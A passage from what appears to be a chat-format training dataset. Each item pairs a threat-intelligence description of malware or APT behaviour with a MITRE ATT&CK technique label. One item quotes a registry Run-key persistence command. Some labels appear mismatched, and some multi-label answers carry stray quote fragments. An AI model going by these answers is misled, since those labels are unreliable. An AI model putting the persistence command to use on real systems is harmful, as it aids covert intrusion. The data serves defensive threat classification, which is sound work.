                "content": "Once the attacker gained access to the network with compromised credentials, they moved laterally using multiple different credentials. The credentials used for lateral movement were always different from those used for remote access"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete all Registry entries created during its execution."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To facilitate the staging of BEACON on remote systems APT29 utilized a malicious certificate that allowed the group to impersonate a privileged user."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can patch Antimalware Scan Interface (AMSI), Windows Lockdown Policy (WLDP), as well as exit-related Native API functions to avoid process termination."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RemoteCMD can execute commands remotely by creating a new schedule task on the remote system"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, the malware first decrypts its C2 IP address using a xor-incremental encryption and then creates a mutant, using its C2 IP address as the mutant’s name"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon has convinced victims to open malicious attachments to execute malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki has searched for the current process’s PID."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has used a keylogging tool that records keystrokes in encrypted files."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can gain persistence by a creating a shortcut in the infected user's Startup directory."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat has the capability to upload collected files to a C2."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has checked for a variety of antivirus products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This spyware registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"net start\" and \"net stop\" commands can be used in Net to execute or stop Windows services."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors executed an encoded VBScript file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also moves the JS file to ‘Shell.NameSpace(28)’ (‘ssfLOCALAPPDATA’ – ‘\\AppData\\Local’) and creates a scheduled task to use WScript to execute the file at every user log on. The installation routine then copies the keylogger to the registry, sets the uid + 0 flag to 1 to indicate that installation was completed, and executes the scheduled task it created"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial infection vector of this campaign is a Microsoft Office Excel Worksheet with an Office macro that uses the mshta.exe Windows executable to run scripts, which are embedded in the HTML of a specially-crafted blogspot.com page. The page, 29[.]html, contains two distinct sections of scripts. The scripts create scheduled tasks and also retrieve, decode, and execute a copy of Revenge RAT"
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KARAE was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The purpose of this malware is to perform destruction of the host, leave the computer system offline, and wipe remote data. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: \"Disabled: Specifies that the service should not be started"
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since the FoggyWeb loader version.dll is an unmanaged application, it cannot directly access the virtual runtime environment that the managed AD FS code is executed within. The loader overcomes this limitation and loads the backdoor alongside the AD FS code by leveraging the CLR hosting interfaces and APIs to access the virtual runtime environment within which the AD FS code is executed"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 clears Window Event logs and Sysmon logs from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec is capable of using ICMP, TCP, and UDP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has inserted large blocks of junk code, including some components to decrypt strings and other important information for later in the encryption process."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The decompressed PowerShell payload has some similarities to the PowerShell Empire agent, such as the use of a jitter value and commands referred to by job ID, but we do not have conclusive evidence that the author of this tool used Empire as a basis for their tool"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download files from the C2 server to the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has developed its own unique malware for use in operations."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More specifically, Ramsay looks for any of two given encoded Hardware Profile GUIDs. One of these GUIDs is hardcoded as shown in Figure 14, while the other is dynamically generated based on the compromised victim’s machine. If any of the subject identifiers are found, parsing for a command signature will be attempted"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses a shell script to execute Mach-o files and \"osacompile\" commands such as, \"osacompile -x -o xcode.app main.applescript\"."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HELLOKITTY can enumerate logical drives on a target system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can query \"Windows\\CurrentVersion\\Uninstall\" for installed applications."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle can collect the user name from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is able to steal autofill information from web browsers, cookies, saved credit cards, browser history, coin wallets and Telegram databases. "
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT1 group is known to have used RDP during operations."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has been ranked as a top miner in the Maruru mining pool (koto-pool.work).­­­ The cryptocurrency mined is called Koto, which is a Zcash-based anonymous cryptocurrency. The has addresses in Figure 8 use the “Yescrypt” algorithm which is good for CPU miners but not ideal for GPU miners. This is ideal for malware as the victim hosts are not guaranteed to have discrete GPUs installed in them but are guaranteed to have a CPU available. We believe the malware authors may have intentionally used this filename to create confusion since the miner is actually mining the Koto cryptocurrency"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors uses zip to pack collected files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has sent collected information to the C2 via HTTP POST request."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting, again attempting to extract all Word documents"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig uses remote services such as VPN, Citrix, or OWA to persist in an environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies files from removable drives to C:\\system."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs timestomping of a CAB file it creates."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT has the capability to log keystrokes from the victim’s machine, both offline and online."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads and installs Tor via homebrew."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Threat Group-3390 tool can use WMI to execute a binary."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once a user has double-clicked the embedded image, the form executes a VB setup script"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The discovery modules used with Duqu can collect information on process details."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malware’s behavior. The contents of the majority of these files are encrypted with the CAST-128 algorithm [4"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The stage 2 payload for the macOS X malware was decoded and analyzed. The stage 2 malware has a variety of functionalities. Most importantly, it checks in with a C2 and, after connecting to the C2, can send or receive a payload, read and write files, execute commands via the terminal, etc"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prior to executing BOOMMIC APT29 was observed creating persistence via a registry key for “Java Update” that would execute jucheck.exe from the directory that contained version.dll and the BOOMMIC payload. Figure 19: BOOMMIC Persistence reg  add HKCU\\software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"Java Update\" /t REG_SZ /d \"c:\\users\\<redacted>\\appdata\\local\\Java\\jucheck.exe\"\""
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN collects data stored in the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can communicate over multiple C2 hosts."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the detected attack, the Ragnar Locker actors used a GPO task to execute Microsoft Installer (msiexec.exe), passing parameters to download and silently install a 122 MB crafted, unsigned MSI package from a remote web server. The primary contents of the MSI package were"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Summary In the past few months, Unit 42 has observed the Patchwork group, alternatively known as Dropping Elephant and Monsoon, conducting campaigns against targets located in the Indian subcontinent. Patchwork threat actors utilized a pair of EPS exploits rolled into legitimate, albeit malicious, documents in order to propagate their updated BADNEWS payload. The use of weaponized legitimate documents is a longstanding operational standard of this group. The BADNEWS malware payload, which these malicious documents ultimately deliver, has been updated since the last public report in December 2017. These changes to BADNEWS, as well as the use of recent EPS-based exploits, demonstrate that the group are actively updating their toolsets in efforts to stay ahead of the security community. In this posting, we detail our findings and document these changes. Delivery The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities. Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability, however in late January 2018 when, paradoxically, newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability. The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware payload is copied to the ADMIN$ share of a remote system, and Impacket is used to remotely invoke an encoded PowerShell command on target systems to execute the payload"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory() and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT they continue to use similar Windows APIs"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer has the ability to collect the hostname and OS information from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This thread searches for for files with the following extensions on removable drives and copies them to ‘c:\\system’ every 5 seconds"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1083 - File and Directory Discovery', 'T1074.001 - Data Staged: Local Data Staging', 'T1119 - Automated Collection', 'T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2020, Pawn Storm often tries to obfuscate these brute force attempts by routing their attack traffic over Tor and VPN servers. In a Microsoft article about brute-forcing Office365 credentials over Tor, Microsoft attributed the activities to Strontium, which is another name for Pawn Storm. These brute force attacks started in 2019, and then we could firmly attribute them to Pawn Storm because we could cross-relate the extensive probing of Microsoft Autodiscover servers around the world with high-confidence indicators of the group’s more traditional attack methods (spear phishing and credential phishing"
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT collects the CPU information, OS information, and system language."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy can inject a malicious DLL into a process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As discussed in the delivery document analysis above, depending on the OS architecture either of the embedded KerrDown DLLs will be dropped in the victim machine. The DLL is dropped in the directory location ‘Users\\Administrator\\AppData\\Roaming\\’ as ‘main_background.png’. The DLL retrieves the payload from the URL, decrypts it by using DES algorithm and execute it in the memory. Therefore, it is observed that only the KerrDown DLL downloader is saved in the system and the payload directly gets executed in the memory without being written in the system. Table 1 shows the URL the downloader will attempt to download the payload from depending on the OS architecture of the victim machine"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2: Sofacy Fysbis capability related leakage through strings Figure 2 shows interactive status / feedback strings that can give a defender an initial profile of capabilities"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the system is a 64-bit version of Windows, it downloads and executes a specific 64-bit version of the malware thanks to a powershell script"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to use TCP and UDP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
